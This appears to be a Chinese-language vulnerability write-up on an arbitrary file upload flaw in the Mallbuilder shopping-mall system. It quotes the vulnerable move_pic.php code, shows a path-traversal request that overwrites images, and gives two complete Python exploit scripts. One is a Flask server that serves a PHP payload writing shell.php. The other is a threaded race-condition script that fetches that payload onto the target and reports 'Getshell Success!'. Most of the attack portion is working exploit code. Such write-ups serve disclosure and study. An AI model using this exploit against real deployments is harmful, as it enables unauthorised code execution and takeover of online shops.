Mallbuilder任意文件上传漏洞

Mallbuilder任意文件上传漏洞

企业级购物商城系统Mallbuilder,是支持多行业,多应用场景的购物商城系统。支持公有云,可灵活集成企业已有系统的购物商城系统。

受影响版本: v5.8.1.1 +
存在漏洞的文件: lib/smarty/move_pic.php 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
//ini_set('display_errors','On');
$jpname=$_GET["pname"].".jpg";
//========================================================
if($_GET["type"]=="delproimg")
{
@unlink("uploadfile/comimg/small/".$jpname);
@unlink("uploadfile/comimg/big/".$jpname);
}
elseif($_GET["type"]=="pro")
{
$str=file_get_contents($_GET['url']."/uploadfile/comimg/big/".$jpname);
$pic = "uploadfile/comimg/big/".$_GET["pname"]; // <- pname由用户传入。
$fp=fopen($pic,"w");
fwrite($fp,$str,strlen($str));
fclose($fp);
//-------
makethumb($pic , "uploadfile/comimg/small/".$jpname , 100 , 100);
rename($pic,$pic.".jpg");
}
//==========================================================

$pic 是一个固定路径拼接上用户访问时传递过来的 pname , 通过构造pname,可以替换网站上任
意jpg后缀的图片。
构造如下请求,就可以覆盖imgae文件夹下的phpqrcode.jpg文件:

1
http://localhost/mall/lib/smarty/move_pic.php?type=pro&url=http://localhost:82/a/b/c/d/e/f/g&pname=../../../../../image/phpqrcode

image-20220309170222333

如果将 pname 的值置为test.php ,这段代码将先从指定的URL获取内容,命名为 test.php保存。然后生成缩略图,再将 test.php 重命名为 xxx.php.jpg 。 此时用多个线程去生成test.php ,再用多个线程去尝试请求 test.php ,就有可能成功执行 test.php中的代码。

image-20220309170355565

漏洞利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
# author: zhighest
from flask import Flask
from werkzeug.routing import BaseConverter

class RegexConverter(BaseConverter):
def __init__(self, map, *args):
self.map = map
self.regex = args[0]

app = Flask(__name__)
app.url_map.converters['regex'] = RegexConverter

@app.route('/<regex(".*"):url>')
def index(url):
return "<?php file_put_contents('shell.php','<?php phpinfo();');"


if __name__ == '__main__':
app.run('127.0.0.1', 8080
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
# author: zhighest
import requests
import threading
FLAG = True
VUL_HOST = 'http://localhost/mall/'
IMG_URL = 'http://localhost:8080/a/b/c/d/e/f/g'

class Thread_One(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
url = '{0}lib/smarty/move_pic.php?type=pro&url={1}&pname=../../../../../image/test.php'.format(VUL_HOST, IMG_URL)
while FLAG:
requests.get(url)

class Thread_Two(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
global FLAG
url = '{0}/image/test.php'.format(VUL_HOST)
while True:
http = requests.get(url)
if http.status_code == 200:
FLAG = False
print 'Getshell Success!'
print 'The shell url: {0}image/shell.php'.format(VUL_HOST)
break
def main():
t1 = Thread_One()
t2 = Thread_Two()
t1.start()
t2.start()

if __name__ == '__main__':
main()